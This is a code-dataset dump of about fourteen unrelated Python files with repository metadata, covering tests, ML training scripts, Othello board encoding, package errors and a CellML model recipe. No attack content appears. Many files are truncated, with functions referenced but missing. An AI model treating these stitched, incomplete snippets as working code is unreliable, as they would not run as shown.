hexsha stringlengths 40 40 | size int64 5 2.06M | ext stringclasses 11 values | lang stringclasses 1 value | max_stars_repo_path stringlengths 3 251 | max_stars_repo_name stringlengths 4 130 | max_stars_repo_head_hexsha stringlengths 40 78 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 3 251 | max_issues_repo_name stringlengths 4 130 | max_issues_repo_head_hexsha stringlengths 40 78 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 116k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 3 251 | max_forks_repo_name stringlengths 4 130 | max_forks_repo_head_hexsha stringlengths 40 78 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 1 1.05M | avg_line_length float64 1 1.02M | max_line_length int64 3 1.04M | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
364be06117f32488ff211fd30ee702031b4b63f0 | 935 | py | Python | make_mozilla/events/tests/test_paginators.py | Mozilla-GitHub-Standards/54c69db06ef83bda60e995a6c34ecfd168ca028994e40ce817295415bb409f0c | f80e7c0cff97a1e9b301aa04015db983c7645778 | [
"BSD-3-Clause"
] | 4 | 2015-05-08T16:58:53.000Z | 2019-09-06T05:30:59.000Z | make_mozilla/events/tests/test_paginators.py | Mozilla-GitHub-Standards/54c69db06ef83bda60e995a6c34ecfd168ca028994e40ce817295415bb409f0c | f80e7c0cff97a1e9b301aa04015db983c7645778 | [
"BSD-3-Clause"
] | 2 | 2019-02-17T17:44:53.000Z | 2019-03-28T03:54:39.000Z | make_mozilla/events/tests/test_paginators.py | Mozilla-GitHub-Standards/54c69db06ef83bda60e995a6c34ecfd168ca028994e40ce817295415bb409f0c | f80e7c0cff97a1e9b301aa04015db983c7645778 | [
"BSD-3-Clause"
] | 7 | 2015-05-21T15:38:29.000Z | 2019-10-28T23:39:06.000Z | from django.utils import unittest
from nose.tools import eq_, ok_
from make_mozilla.events.paginators import results_page
sample_results = [1,2,3,4,5,6,7,8,9,0]
| 28.333333 | 67 | 0.686631 |
364bea1cc3a268196e079579f42571e86d9befb2 | 644 | py | Python | river/ensemble/test_streaming_random_patches.py | brcharron/creme | 25290780f6bba0eb030215194e81b120d0219389 | [
"BSD-3-Clause"
] | 1 | 2020-12-04T18:56:19.000Z | 2020-12-04T18:56:19.000Z | river/ensemble/test_streaming_random_patches.py | brcharron/creme | 25290780f6bba0eb030215194e81b120d0219389 | [
"BSD-3-Clause"
] | null | null | null | river/ensemble/test_streaming_random_patches.py | brcharron/creme | 25290780f6bba0eb030215194e81b120d0219389 | [
"BSD-3-Clause"
] | null | null | null | import copy
import pytest
from river import utils
from river import ensemble
estimator = ensemble.SRPClassifier(
n_models=3, # Smaller ensemble than the default to avoid bottlenecks
seed=42)
| 24.769231 | 75 | 0.726708 |
364c9e4c77bae14954a377098632009151fcd659 | 2,071 | py | Python | antlir/nspawn_in_subvol/plugin_hooks.py | lhl2617/antlir | 1041732e8163c1316d3e45c0ba4db7937faa4809 | [
"MIT"
] | null | null | null | antlir/nspawn_in_subvol/plugin_hooks.py | lhl2617/antlir | 1041732e8163c1316d3e45c0ba4db7937faa4809 | [
"MIT"
] | null | null | null | antlir/nspawn_in_subvol/plugin_hooks.py | lhl2617/antlir | 1041732e8163c1316d3e45c0ba4db7937faa4809 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# Copyright (c) Facebook, Inc. and its affiliates.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
"The core logic of how plugins integrate with `popen_nspawn`"
import functools
import subprocess
from contextlib import contextmanager
from typing import Callable, ContextManager, Iterable, Tuple, Union
from antlir.subvol_utils import Subvol
from .args import PopenArgs, _NspawnOpts
from .cmd import _nspawn_setup, _NspawnSetup, _nspawn_subvol_setup
from .plugins import NspawnPlugin
_PopenResult = Tuple[subprocess.Popen, subprocess.Popen]
_SetupSubvolCtxMgr = Callable[[_NspawnOpts], ContextManager[Subvol]]
_NspawnSetupCtxMgr = Callable[
[_NspawnOpts, PopenArgs], ContextManager[_NspawnSetup]
]
_PostSetupPopenCtxMgr = Callable[[_NspawnSetup], ContextManager[_PopenResult]]
| 30.910448 | 79 | 0.740222 |
364d2da5e343e2ce74256399a60ddf18ac23eadf | 4,577 | py | Python | horseDB.py | maf-kakimoto/bet | 3da7c57bca88cee8f5565e605fae38168f6b21fa | [
"Apache-2.0"
] | null | null | null | horseDB.py | maf-kakimoto/bet | 3da7c57bca88cee8f5565e605fae38168f6b21fa | [
"Apache-2.0"
] | null | null | null | horseDB.py | maf-kakimoto/bet | 3da7c57bca88cee8f5565e605fae38168f6b21fa | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
import time
import pandas as pd
# self-made
import manage_mysql
| 28.968354 | 89 | 0.489404 |
364dafdcafb142ed50351e67323fec6552de2b84 | 325 | py | Python | maskrcnn_benchmark/data/datasets/__init__.py | lipengfeizju/Detection | efe00b221725be05e30fd67957958f97ae42b3cf | [
"MIT"
] | null | null | null | maskrcnn_benchmark/data/datasets/__init__.py | lipengfeizju/Detection | efe00b221725be05e30fd67957958f97ae42b3cf | [
"MIT"
] | null | null | null | maskrcnn_benchmark/data/datasets/__init__.py | lipengfeizju/Detection | efe00b221725be05e30fd67957958f97ae42b3cf | [
"MIT"
] | null | null | null | # Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
from .coco import COCODataset
from .voc import PascalVOCDataset
from .concat_dataset import ConcatDataset
__all__ = ["COCODataset", "ConcatDataset", "PascalVOCDataset"]
# if isinstance(dataset, datasets.MyDataset):
# return coco_evaluation(**args) | 36.111111 | 71 | 0.778462 |
364dc99efa920ea79a2d2856b41d0a11a59412b1 | 68 | py | Python | social/actions.py | raccoongang/python-social-auth | 81c0a542d158772bd3486d31834c10af5d5f08b0 | [
"BSD-3-Clause"
] | 1,987 | 2015-01-01T16:12:45.000Z | 2022-03-29T14:24:25.000Z | social/actions.py | raccoongang/python-social-auth | 81c0a542d158772bd3486d31834c10af5d5f08b0 | [
"BSD-3-Clause"
] | 731 | 2015-01-01T22:55:25.000Z | 2022-03-10T15:07:51.000Z | virtual/lib/python3.6/site-packages/social/actions.py | dennismwaniki67/awards | 80ed10541f5f751aee5f8285ab1ad54cfecba95f | [
"MIT"
] | 1,082 | 2015-01-01T16:27:26.000Z | 2022-03-22T21:18:33.000Z | from social_core.actions import do_auth, do_complete, do_disconnect
| 34 | 67 | 0.867647 |
364de668db5e04abf8c4ddb3813bc74fcc464515 | 3,097 | py | Python | src/alphazero/data.py | Whillikers/seldon | 0d3ff7b25c7272d76a9aba38ee22efd910750f84 | [
"MIT"
] | 1 | 2019-11-03T20:18:16.000Z | 2019-11-03T20:18:16.000Z | src/alphazero/data.py | Whillikers/seldon | 0d3ff7b25c7272d76a9aba38ee22efd910750f84 | [
"MIT"
] | null | null | null | src/alphazero/data.py | Whillikers/seldon | 0d3ff7b25c7272d76a9aba38ee22efd910750f84 | [
"MIT"
] | null | null | null | """
Code for working with data.
In-memory format (as a list):
- board: Tensor (8, 8, 2) [bool; one-hot]
- move: Tensor (64,) [bool; one-hot]
- value: Tensor () [float32]
On-disk format (to save space and quicken loading):
- board: int64
- move: int64
- value: float32
"""
from typing import Dict, Tuple
import tensorflow as tf # type: ignore
from board import BOARD_SHAPE, BOARD_SQUARES, Board, Loc
EXAMPLE_SPEC = {
"board": tf.io.FixedLenFeature([2], tf.int64),
"move": tf.io.FixedLenFeature([], tf.int64),
"value": tf.io.FixedLenFeature([], tf.float32),
}
# Hack to allow storing bitboards efficiently as tf.Int64.
# Necessary because boards are all valid uint64 but not necessarily valid int64.
# Taken from: https://stackoverflow.com/questions/20766813/how-to-convert-signed-to-
# unsigned-integer-in-python
def _signed_representation(unsigned: int) -> int:
"""Convert an "unsigned" int to its equivalent C "signed" representation."""
return (unsigned & ((1 << 63) - 1)) - (unsigned & (1 << 63))
def _unsigned_representation(signed: int) -> int:
"""Convert a "signed" int to its equivalent C "unsigned" representation."""
return signed & 0xFFFFFFFFFFFFFFFF
# See: https://stackoverflow.com/questions/48333210/tensorflow-how-to-convert-an-
# integer-tensor-to-the-corresponding-binary-tensor
def decode_bitboard(encoded: tf.Tensor) -> tf.Tensor:
"""
Convert from uint64 board representation to a tf.Tensor board.
"""
flat = tf.math.mod(
tf.bitwise.right_shift(encoded, tf.range(BOARD_SQUARES, dtype=tf.int64)), 2
)
board = tf.reshape(flat, BOARD_SHAPE)
# Hack to allow using rot90 on a 2D tensor
return tf.image.rot90(tf.expand_dims(board, axis=-1), k=2)[:, :, 0]
def serialize_example(board: Board, move: Loc, value: float) -> str:
"""
Serialize a single training example into a string.
"""
black = _signed_representation(int(board.black))
white = _signed_representation(int(board.white))
features = {
"board": tf.train.Feature(int64_list=tf.train.Int64List(value=[black, white])),
"move": tf.train.Feature(int64_list=tf.train.Int64List(value=[move.as_int])),
"value": tf.train.Feature(float_list=tf.train.FloatList(value=[value])),
}
ex = tf.train.Example(features=tf.train.Features(feature=features))
return ex.SerializeToString()
def preprocess_example(
serialized: str
) -> Tuple[Dict[str, tf.Tensor], Dict[str, tf.Tensor]]:
"""
Turn a serialized example into the training-ready format.
"""
example = tf.io.parse_single_example(serialized, EXAMPLE_SPEC)
bitboards = example["board"]
black_bb = bitboards[0]
white_bb = bitboards[1]
black = decode_bitboard(black_bb)
white = decode_bitboard(white_bb)
board = tf.stack([black, white], axis=-1)
move = tf.one_hot(example["move"], BOARD_SQUARES)
# TODO: better solution to multi-input Keras model training
return (
{"board": board},
{"policy_softmax": move, "tf_op_layer_Tanh": example["value"]},
)
| 34.032967 | 87 | 0.680336 |
364e9aa16c6e94c8b02ddd7f95c3691e35f760e3 | 140 | py | Python | Codechef Factorial.py | zoya-0509/Practice-codes | 4d71b1b004f309025c215e55a504c7817b00e8c9 | [
"MIT"
] | null | null | null | Codechef Factorial.py | zoya-0509/Practice-codes | 4d71b1b004f309025c215e55a504c7817b00e8c9 | [
"MIT"
] | null | null | null | Codechef Factorial.py | zoya-0509/Practice-codes | 4d71b1b004f309025c215e55a504c7817b00e8c9 | [
"MIT"
] | null | null | null | t=int(input(""))
while (t>0):
n=int(input(""))
f=1
for i in range(1,n+1):
f=f*i
print(f)
t=t-1
| 15.555556 | 28 | 0.378571 |
364f0f926540cab854ab6053e2e09c0e19eaaacc | 1,569 | py | Python | pkgcore/ebuild/errors.py | pombreda/pkgcore | b438fc573af1a031d7ce12adbbf299bab5338451 | [
"BSD-3-Clause"
] | 1 | 2021-07-05T13:10:18.000Z | 2021-07-05T13:10:18.000Z | pkgcore/ebuild/errors.py | vapier/pkgcore | 35a7e4f4f0fc61dd9c4dc72d35a57e2e9d5b832f | [
"BSD-3-Clause"
] | 8 | 2015-03-24T14:21:44.000Z | 2015-03-24T14:21:44.000Z | pkgcore/ebuild/errors.py | vapier/pkgcore | 35a7e4f4f0fc61dd9c4dc72d35a57e2e9d5b832f | [
"BSD-3-Clause"
] | null | null | null | # Copyright: 2005 Brian Harring <ferringb@gmail.com>
# License: GPL2/BSD
# "More than one statement on a single line"
# pylint: disable-msg=C0321
"""
atom exceptions
"""
__all__ = ("MalformedAtom", "InvalidVersion", "InvalidCPV", "ParseError")
from pkgcore.package import errors
| 27.526316 | 78 | 0.599745 |
3652d826b86718a511de34e46553dd7eade808bc | 10,578 | py | Python | trainer/train_doc_ml.py | dainis-boumber/AA_CNN | 649612215c7e290ede1c51625268ad9fd7b46228 | [
"MIT"
] | 1 | 2021-09-27T09:39:11.000Z | 2021-09-27T09:39:11.000Z | trainer/train_doc_ml.py | dainis-boumber/AA_CNN | 649612215c7e290ede1c51625268ad9fd7b46228 | [
"MIT"
] | null | null | null | trainer/train_doc_ml.py | dainis-boumber/AA_CNN | 649612215c7e290ede1c51625268ad9fd7b46228 | [
"MIT"
] | 4 | 2018-03-21T23:19:40.000Z | 2021-03-05T15:09:01.000Z | #! /usr/bin/env python
import datetime
import os
import time
import tensorflow as tf
from datahelpers import data_helper_ml_mulmol6_OnTheFly as dh
from evaluators import eval_pan_archy as evaler
from networks.cnn_ml_archy import TextCNN
# Training
DO_DEV_SPLIT = False
bold_step = [2500, 3000, 3500, 4000, 4500]
bold_step2 = [2000, 2250, 2500, 2750, 3000, 3250, 3500]
embed_dim = 100
output_file = open("ml_100d_doc.txt", mode="aw")
dir_name = "ml_100d_doc"
[dater, FLAGS, x_train, x_dev, y_train, y_dev, vocabulary, embed_matrix] =\
init_data(embed_dim, DO_DEV_SPLIT)
ev = evaler.evaler()
test_x, test_y, test_y_scalar = ev.load(dater)
for f_size in [50]:
for l2 in [0.1]:
for drop in [0.50]:
output_file.write("===== Filter Size: "+str(f_size)+"\n")
output_file.write("===== L2 Norm: "+str(l2)+"\n")
output_file.write("===== Drop Out: "+str(drop)+"\n\n\n")
ts = training(DO_DEV_SPLIT, FLAGS, dir_name, vocabulary, embed_matrix, x_train, x_dev, y_train, y_dev,
f_size, drop, l2, test_x, test_y)
for train_step in [3000]:
checkpoint_dir = "./runs/" + dir_name + "/" + str(ts) + "/checkpoints/"
ev.test(checkpoint_dir, train_step, output_file, documentAcc=True)
output_file.close()
| 45.012766 | 119 | 0.616752 |
365493226ef8ff623b67882ccdb1d5957462cc3b | 80 | py | Python | releases/_version.py | Nicusor97/releases | 97a763e41bbe7374106a1c648b89346a0d935429 | [
"BSD-2-Clause"
] | null | null | null | releases/_version.py | Nicusor97/releases | 97a763e41bbe7374106a1c648b89346a0d935429 | [
"BSD-2-Clause"
] | null | null | null | releases/_version.py | Nicusor97/releases | 97a763e41bbe7374106a1c648b89346a0d935429 | [
"BSD-2-Clause"
] | null | null | null | __version_info__ = (1, 6, 1)
__version__ = '.'.join(map(str, __version_info__))
| 26.666667 | 50 | 0.7 |
3656cab44b971cc68a2561efdd667d02fb35d8b4 | 442 | py | Python | areaofrectangle.py | Ahmad-Aiman/Calculate-Area-of-Rectangle | ff33a2eab14bffc1a8c29a9134cabea48b69538b | [
"MIT"
] | null | null | null | areaofrectangle.py | Ahmad-Aiman/Calculate-Area-of-Rectangle | ff33a2eab14bffc1a8c29a9134cabea48b69538b | [
"MIT"
] | null | null | null | areaofrectangle.py | Ahmad-Aiman/Calculate-Area-of-Rectangle | ff33a2eab14bffc1a8c29a9134cabea48b69538b | [
"MIT"
] | null | null | null | #Area of a rectangle = width x length
#Perimeter of a rectangle = 2 x [length + width#
width_input = float (input("\nPlease enter width: "))
length_input = float (input("Please enter length: "))
areaofRectangle = width_input * length_input
perimeterofRectangle = 2 * (width_input * length_input)
print ("\nArea of Rectangle is: " , areaofRectangle, "CM")
print("\nPerimeter of Rectangle is: ", perimeterofRectangle, "CM")
| 29.466667 | 67 | 0.70362 |
3657fec70ed8fedb4b5b14e5e0ae343bef42588d | 2,324 | py | Python | python/src/main/python/pygw/store/rocksdb/options.py | Maxar-Corp/sh-geowave | 675781d3898b50c09ee66f57e74cf788286b05d5 | [
"Apache-2.0"
] | null | null | null | python/src/main/python/pygw/store/rocksdb/options.py | Maxar-Corp/sh-geowave | 675781d3898b50c09ee66f57e74cf788286b05d5 | [
"Apache-2.0"
] | null | null | null | python/src/main/python/pygw/store/rocksdb/options.py | Maxar-Corp/sh-geowave | 675781d3898b50c09ee66f57e74cf788286b05d5 | [
"Apache-2.0"
] | null | null | null | #
# Copyright (c) 2013-2020 Contributors to the Eclipse Foundation
#
# See the NOTICE file distributed with this work for additional information regarding copyright
# ownership. All rights reserved. This program and the accompanying materials are made available
# under the terms of the Apache License, Version 2.0 which accompanies this distribution and is
# available at http://www.apache.org/licenses/LICENSE-2.0.txt
#===============================================================================================
from pygw.config import geowave_pkg
from pygw.store import DataStoreOptions
| 31.835616 | 96 | 0.63167 |
36595769c1ee20b5e029d4e12f235050f6967122 | 33,084 | py | Python | server/miscellaneous.py | dewancse/SMT-PMR | 8d280ff5d169a021a73ffa30c8159581ab859c62 | [
"MIT"
] | null | null | null | server/miscellaneous.py | dewancse/SMT-PMR | 8d280ff5d169a021a73ffa30c8159581ab859c62 | [
"MIT"
] | 10 | 2017-05-16T22:08:40.000Z | 2017-10-30T21:07:47.000Z | server/miscellaneous.py | dewancse/SMT-PMR | 8d280ff5d169a021a73ffa30c8159581ab859c62 | [
"MIT"
] | null | null | null | import requests
from libcellml import *
import lxml.etree as ET
# pre-generated model recipe in JSON format
model_recipe = [
{
"med_fma": "http://purl.obolibrary.org/obo/FMA_84666",
"med_pr": "http://purl.obolibrary.org/obo/PR_P26433",
"med_pr_text": "sodium/hydrogen exchanger 3 (rat)",
"med_pr_text_syn": "NHE3",
"model_entity": "weinstein_1995.cellml#NHE3.J_NHE3_Na",
"model_entity2": "",
"model_entity3": "",
"protein_name": "http://purl.obolibrary.org/obo/PR_P26433",
"sink_fma": "http://purl.obolibrary.org/obo/FMA_66836",
"sink_fma2": "",
"sink_fma3": "",
"solute_chebi": "http://purl.obolibrary.org/obo/CHEBI_29101",
"solute_chebi2": "",
"solute_chebi3": "",
"solute_text": "Na+",
"solute_text2": "",
"solute_text3": "",
"source_fma": "http://purl.obolibrary.org/obo/FMA_74550",
"source_fma2": "",
"source_fma3": "",
"variable_text": "J_NHE3_Na",
"variable_text2": "flux",
"variable_text3": "flux"
},
{
"med_fma": "http://purl.obolibrary.org/obo/FMA_84669",
"med_pr": "http://purl.obolibrary.org/obo/PR_Q9ET37",
"med_pr_text": "low affinity sodium-glucose cotransporter (mouse)",
"med_pr_text_syn": "Q9ET37",
"model_entity": "mackenzie_1996-mouse-baso.cellml#NBC_current.J_Na",
"model_entity2": "mackenzie_1996-mouse-baso.cellml#NBC_current.J_Na",
"model_entity3": "",
"protein_name": "http://purl.obolibrary.org/obo/PR_Q9ET37",
"sink_fma": "http://purl.obolibrary.org/obo/FMA_9673",
"sink_fma2": "http://purl.obolibrary.org/obo/FMA_66836",
"sink_fma3": "",
"solute_chebi": "http://purl.obolibrary.org/obo/CHEBI_29101",
"solute_chebi2": "http://purl.obolibrary.org/obo/CHEBI_29101",
"solute_chebi3": "",
"solute_text": "Na+",
"solute_text2": "Na+",
"solute_text3": "",
"source_fma": "http://purl.obolibrary.org/obo/FMA_66836",
"source_fma2": "http://purl.obolibrary.org/obo/FMA_9673",
"source_fma3": "",
"variable_text": "J_Na",
"variable_text2": "J_Na",
"variable_text3": ""
},
{
"med_fma": "http://purl.obolibrary.org/obo/FMA_84666",
"med_pr": "http://purl.obolibrary.org/obo/PR_P55018",
"med_pr_text": "solute carrier family 12 member 3 (rat)",
"med_pr_text_syn": "TSC",
"model_entity": "chang_fujita_b_1999.cellml#total_transepithelial_sodium_flux.J_mc_Na",
"model_entity2": "chang_fujita_b_1999.cellml#solute_concentrations.J_mc_Cl",
"model_entity3": "",
"protein_name": "http://purl.obolibrary.org/obo/CL_0000066",
"sink_fma": "http://purl.obolibrary.org/obo/FMA_66836",
"sink_fma2": "http://purl.obolibrary.org/obo/FMA_66836",
"sink_fma3": "",
"solute_chebi": "http://purl.obolibrary.org/obo/CHEBI_29101",
"solute_chebi2": "http://purl.obolibrary.org/obo/CHEBI_17996",
"solute_chebi3": "",
"solute_text": "Na+",
"solute_text2": "Cl-",
"solute_text3": "",
"source_fma": "http://purl.obolibrary.org/obo/FMA_74550",
"source_fma2": "http://purl.obolibrary.org/obo/FMA_74550",
"source_fma3": "",
"variable_text": "J_mc_Na",
"variable_text2": "J_mc_Cl",
"variable_text3": ""
},
{
"med_fma": "http://purl.obolibrary.org/obo/FMA_84666",
"med_pr": "http://purl.obolibrary.org/obo/PR_Q63633",
"med_pr_text": "solute carrier family 12 member 5 (rat)",
"med_pr_text_syn": "Q63633",
"model_entity": "chang_fujita_b_1999.cellml#solute_concentrations.J_mc_Cl",
"model_entity2": "chang_fujita_b_1999.cellml#total_transepithelial_potassium_flux.J_mc_K",
"model_entity3": "",
"protein_name": "http://purl.obolibrary.org/obo/CL_0000066",
"sink_fma": "http://purl.obolibrary.org/obo/FMA_66836",
"sink_fma2": "http://purl.obolibrary.org/obo/FMA_66836",
"sink_fma3": "",
"solute_chebi": "http://purl.obolibrary.org/obo/CHEBI_17996",
"solute_chebi2": "http://purl.obolibrary.org/obo/CHEBI_29103",
"solute_chebi3": "",
"solute_text": "Cl-",
"solute_text2": "K+",
"solute_text3": "",
"source_fma": "http://purl.obolibrary.org/obo/FMA_74550",
"source_fma2": "http://purl.obolibrary.org/obo/FMA_74550",
"source_fma3": "",
"variable_text": "J_mc_Cl",
"variable_text2": "J_mc_K",
"variable_text3": ""
},
{
"med_fma": "http://purl.obolibrary.org/obo/FMA_84666",
"med_pr": "http://purl.obolibrary.org/obo/PR_P37089",
"med_pr_text": "amiloride-sensitive sodium channel subunit alpha (rat)",
"med_pr_text_syn": "RENAC",
"model_entity": "chang_fujita_b_1999.cellml#mc_sodium_flux.G_mc_Na",
"model_entity2": "",
"model_entity3": "",
"protein_name": "http://purl.obolibrary.org/obo/CL_0000066",
"sink_fma": "http://purl.obolibrary.org/obo/FMA_66836",
"sink_fma2": "channel",
"sink_fma3": "channel",
"solute_chebi": "http://purl.obolibrary.org/obo/CHEBI_29101",
"solute_chebi2": "channel",
"solute_chebi3": "channel",
"solute_text": "Na+",
"solute_text2": "channel",
"solute_text3": "channel",
"source_fma": "http://purl.obolibrary.org/obo/FMA_74550",
"source_fma2": "channel",
"source_fma3": "channel",
"variable_text": "G_mc_Na",
"variable_text2": "channel",
"variable_text3": "channel"
},
{
"med_fma": "http://purl.obolibrary.org/obo/FMA_84666",
"med_pr": "http://purl.obolibrary.org/obo/PR_Q06393",
"med_pr_text": "chloride channel protein ClC-Ka (rat)",
"med_pr_text_syn": "CLCNK1",
"model_entity": "chang_fujita_b_1999.cellml#mc_chloride_flux.G_mc_Cl",
"model_entity2": "",
"model_entity3": "",
"protein_name": "http://purl.obolibrary.org/obo/CL_0000066",
"sink_fma": "http://purl.obolibrary.org/obo/FMA_66836",
"sink_fma2": "channel",
"sink_fma3": "channel",
"solute_chebi": "http://purl.obolibrary.org/obo/CHEBI_17996",
"solute_chebi2": "channel",
"solute_chebi3": "channel",
"solute_text": "Cl-",
"solute_text2": "channel",
"solute_text3": "channel",
"source_fma": "http://purl.obolibrary.org/obo/FMA_74550",
"source_fma2": "channel",
"source_fma3": "channel",
"variable_text": "G_mc_Cl",
"variable_text2": "channel",
"variable_text3": "channel"
},
{
"med_fma": "http://purl.obolibrary.org/obo/FMA_84666",
"med_pr": "http://purl.obolibrary.org/obo/PR_P15387",
"med_pr_text": "potassium voltage-gated channel subfamily B member 1 (rat)",
"med_pr_text_syn": "P15387",
"model_entity": "chang_fujita_b_1999.cellml#mc_potassium_flux.G_mc_K",
"model_entity2": "",
"model_entity3": "",
"protein_name": "http://purl.obolibrary.org/obo/CL_0000066",
"sink_fma": "http://purl.obolibrary.org/obo/FMA_66836",
"sink_fma2": "channel",
"sink_fma3": "channel",
"solute_chebi": "http://purl.obolibrary.org/obo/CHEBI_29103",
"solute_chebi2": "channel",
"solute_chebi3": "channel",
"solute_text": "K+",
"solute_text2": "channel",
"solute_text3": "channel",
"source_fma": "http://purl.obolibrary.org/obo/FMA_74550",
"source_fma2": "channel",
"source_fma3": "channel",
"variable_text": "G_mc_K",
"variable_text2": "channel",
"variable_text3": "channel"
},
{
"med_fma": "http://purl.obolibrary.org/obo/FMA_84669",
"med_pr": "http://purl.obolibrary.org/obo/PR_P06685",
"med_pr_text": "sodium/potassium-transporting ATPase subunit alpha-1 (rat)",
"med_pr_text_syn": "P06685",
"model_entity": "chang_fujita_b_1999.cellml#solute_concentrations.J_sc_Na",
"model_entity2": "chang_fujita_b_1999.cellml#sc_potassium_flux.J_sc_K",
"model_entity3": "",
"protein_name": "http://purl.obolibrary.org/obo/CL_0000066",
"sink_fma": "http://purl.obolibrary.org/obo/FMA_9673",
"sink_fma2": "http://purl.obolibrary.org/obo/FMA_66836",
"sink_fma3": "",
"solute_chebi": "http://purl.obolibrary.org/obo/CHEBI_29101",
"solute_chebi2": "http://purl.obolibrary.org/obo/CHEBI_29103",
"solute_chebi3": "",
"solute_text": "Na+",
"solute_text2": "K+",
"solute_text3": "",
"source_fma": "http://purl.obolibrary.org/obo/FMA_66836",
"source_fma2": "http://purl.obolibrary.org/obo/FMA_9673",
"source_fma3": "",
"variable_text": "J_sc_Na",
"variable_text2": "J_sc_K",
"variable_text3": ""
},
{
"med_fma": "http://purl.obolibrary.org/obo/FMA_84669",
"med_pr": "http://purl.obolibrary.org/obo/PR_Q06393",
"med_pr_text": "chloride channel protein ClC-Ka (rat)",
"med_pr_text_syn": "CLCNK1",
"model_entity": "chang_fujita_b_1999.cellml#sc_chloride_flux.G_sc_Cl",
"model_entity2": "",
"model_entity3": "",
"protein_name": "http://purl.obolibrary.org/obo/CL_0000066",
"sink_fma": "http://purl.obolibrary.org/obo/FMA_66836",
"sink_fma2": "channel",
"sink_fma3": "channel",
"solute_chebi": "http://purl.obolibrary.org/obo/CHEBI_17996",
"solute_chebi2": "channel",
"solute_chebi3": "channel",
"solute_text": "Cl-",
"solute_text2": "channel",
"solute_text3": "channel",
"source_fma": "http://purl.obolibrary.org/obo/FMA_9673",
"source_fma2": "channel",
"source_fma3": "channel",
"variable_text": "G_sc_Cl",
"variable_text2": "channel",
"variable_text3": "channel"
},
{
"med_fma": "http://purl.obolibrary.org/obo/FMA_84669",
"med_pr": "http://purl.obolibrary.org/obo/PR_P15387",
"med_pr_text": "potassium voltage-gated channel subfamily B member 1 (rat)",
"med_pr_text_syn": "P15387",
"model_entity": "chang_fujita_b_1999.cellml#sc_potassium_flux.G_sc_K",
"model_entity2": "",
"model_entity3": "",
"protein_name": "http://purl.obolibrary.org/obo/CL_0000066",
"sink_fma": "http://purl.obolibrary.org/obo/FMA_66836",
"sink_fma2": "channel",
"sink_fma3": "channel",
"solute_chebi": "http://purl.obolibrary.org/obo/CHEBI_29103",
"solute_chebi2": "channel",
"solute_chebi3": "channel",
"solute_text": "K+",
"solute_text2": "channel",
"solute_text3": "channel",
"source_fma": "http://purl.obolibrary.org/obo/FMA_9673",
"source_fma2": "channel",
"source_fma3": "channel",
"variable_text": "G_sc_K",
"variable_text2": "channel",
"variable_text3": "channel"
},
{
"med_fma": "http://purl.obolibrary.org/obo/FMA_67394",
"med_pr": "http://purl.obolibrary.org/obo/PR_Q9Z0S6",
"med_pr_text": "claudin-10 (mouse)",
"med_pr_text_syn": "CLDN10A",
"model_entity": "chang_fujita_b_1999.cellml#ms_sodium_flux.G_ms_Na",
"model_entity2": "",
"model_entity3": "",
"protein_name": "http://purl.obolibrary.org/obo/CL_0000066",
"sink_fma": "http://purl.obolibrary.org/obo/FMA_9673",
"sink_fma2": "diffusiveflux",
"sink_fma3": "diffusiveflux",
"solute_chebi": "http://purl.obolibrary.org/obo/CHEBI_29101",
"solute_chebi2": "diffusiveflux",
"solute_chebi3": "diffusiveflux",
"solute_text": "Na+",
"solute_text2": "diffusiveflux",
"solute_text3": "diffusiveflux",
"source_fma": "http://purl.obolibrary.org/obo/FMA_74550",
"source_fma2": "diffusiveflux",
"source_fma3": "diffusiveflux",
"variable_text": "G_ms_Na",
"variable_text2": "diffusiveflux",
"variable_text3": "diffusiveflux"
},
{
"med_fma": "http://purl.obolibrary.org/obo/FMA_67394",
"med_pr": "http://purl.obolibrary.org/obo/PR_O35054",
"med_pr_text": "claudin-4 (mouse)",
"med_pr_text_syn": "CPETR1",
"model_entity": "chang_fujita_b_1999.cellml#ms_chloride_flux.G_ms_Cl",
"model_entity2": "",
"model_entity3": "",
"protein_name": "http://purl.obolibrary.org/obo/CL_0000066",
"sink_fma": "http://purl.obolibrary.org/obo/FMA_9673",
"sink_fma2": "diffusiveflux",
"sink_fma3": "diffusiveflux",
"solute_chebi": "http://purl.obolibrary.org/obo/CHEBI_17996",
"solute_chebi2": "diffusiveflux",
"solute_chebi3": "diffusiveflux",
"solute_text": "Cl-",
"solute_text2": "diffusiveflux",
"solute_text3": "diffusiveflux",
"source_fma": "http://purl.obolibrary.org/obo/FMA_74550",
"source_fma2": "diffusiveflux",
"source_fma3": "diffusiveflux",
"variable_text": "G_ms_Cl",
"variable_text2": "diffusiveflux",
"variable_text3": "diffusiveflux"
},
{
"med_fma": "http://purl.obolibrary.org/obo/FMA_67394",
"med_pr": "http://purl.obolibrary.org/obo/PR_F1LZ52",
"med_pr_text": "kelch-like protein 3 (rat)",
"med_pr_text_syn": "F1LZ52",
"model_entity": "chang_fujita_b_1999.cellml#ms_potassium_flux.G_ms_K",
"model_entity2": "",
"model_entity3": "",
"protein_name": "http://purl.obolibrary.org/obo/CL_0000066",
"sink_fma": "http://purl.obolibrary.org/obo/FMA_9673",
"sink_fma2": "diffusiveflux",
"sink_fma3": "diffusiveflux",
"solute_chebi": "http://purl.obolibrary.org/obo/CHEBI_29103",
"solute_chebi2": "diffusiveflux",
"solute_chebi3": "diffusiveflux",
"solute_text": "K+",
"solute_text2": "diffusiveflux",
"solute_text3": "diffusiveflux",
"source_fma": "http://purl.obolibrary.org/obo/FMA_74550",
"source_fma2": "diffusiveflux",
"source_fma3": "diffusiveflux",
"variable_text": "G_ms_K",
"variable_text2": "diffusiveflux",
"variable_text3": "diffusiveflux"
}
]
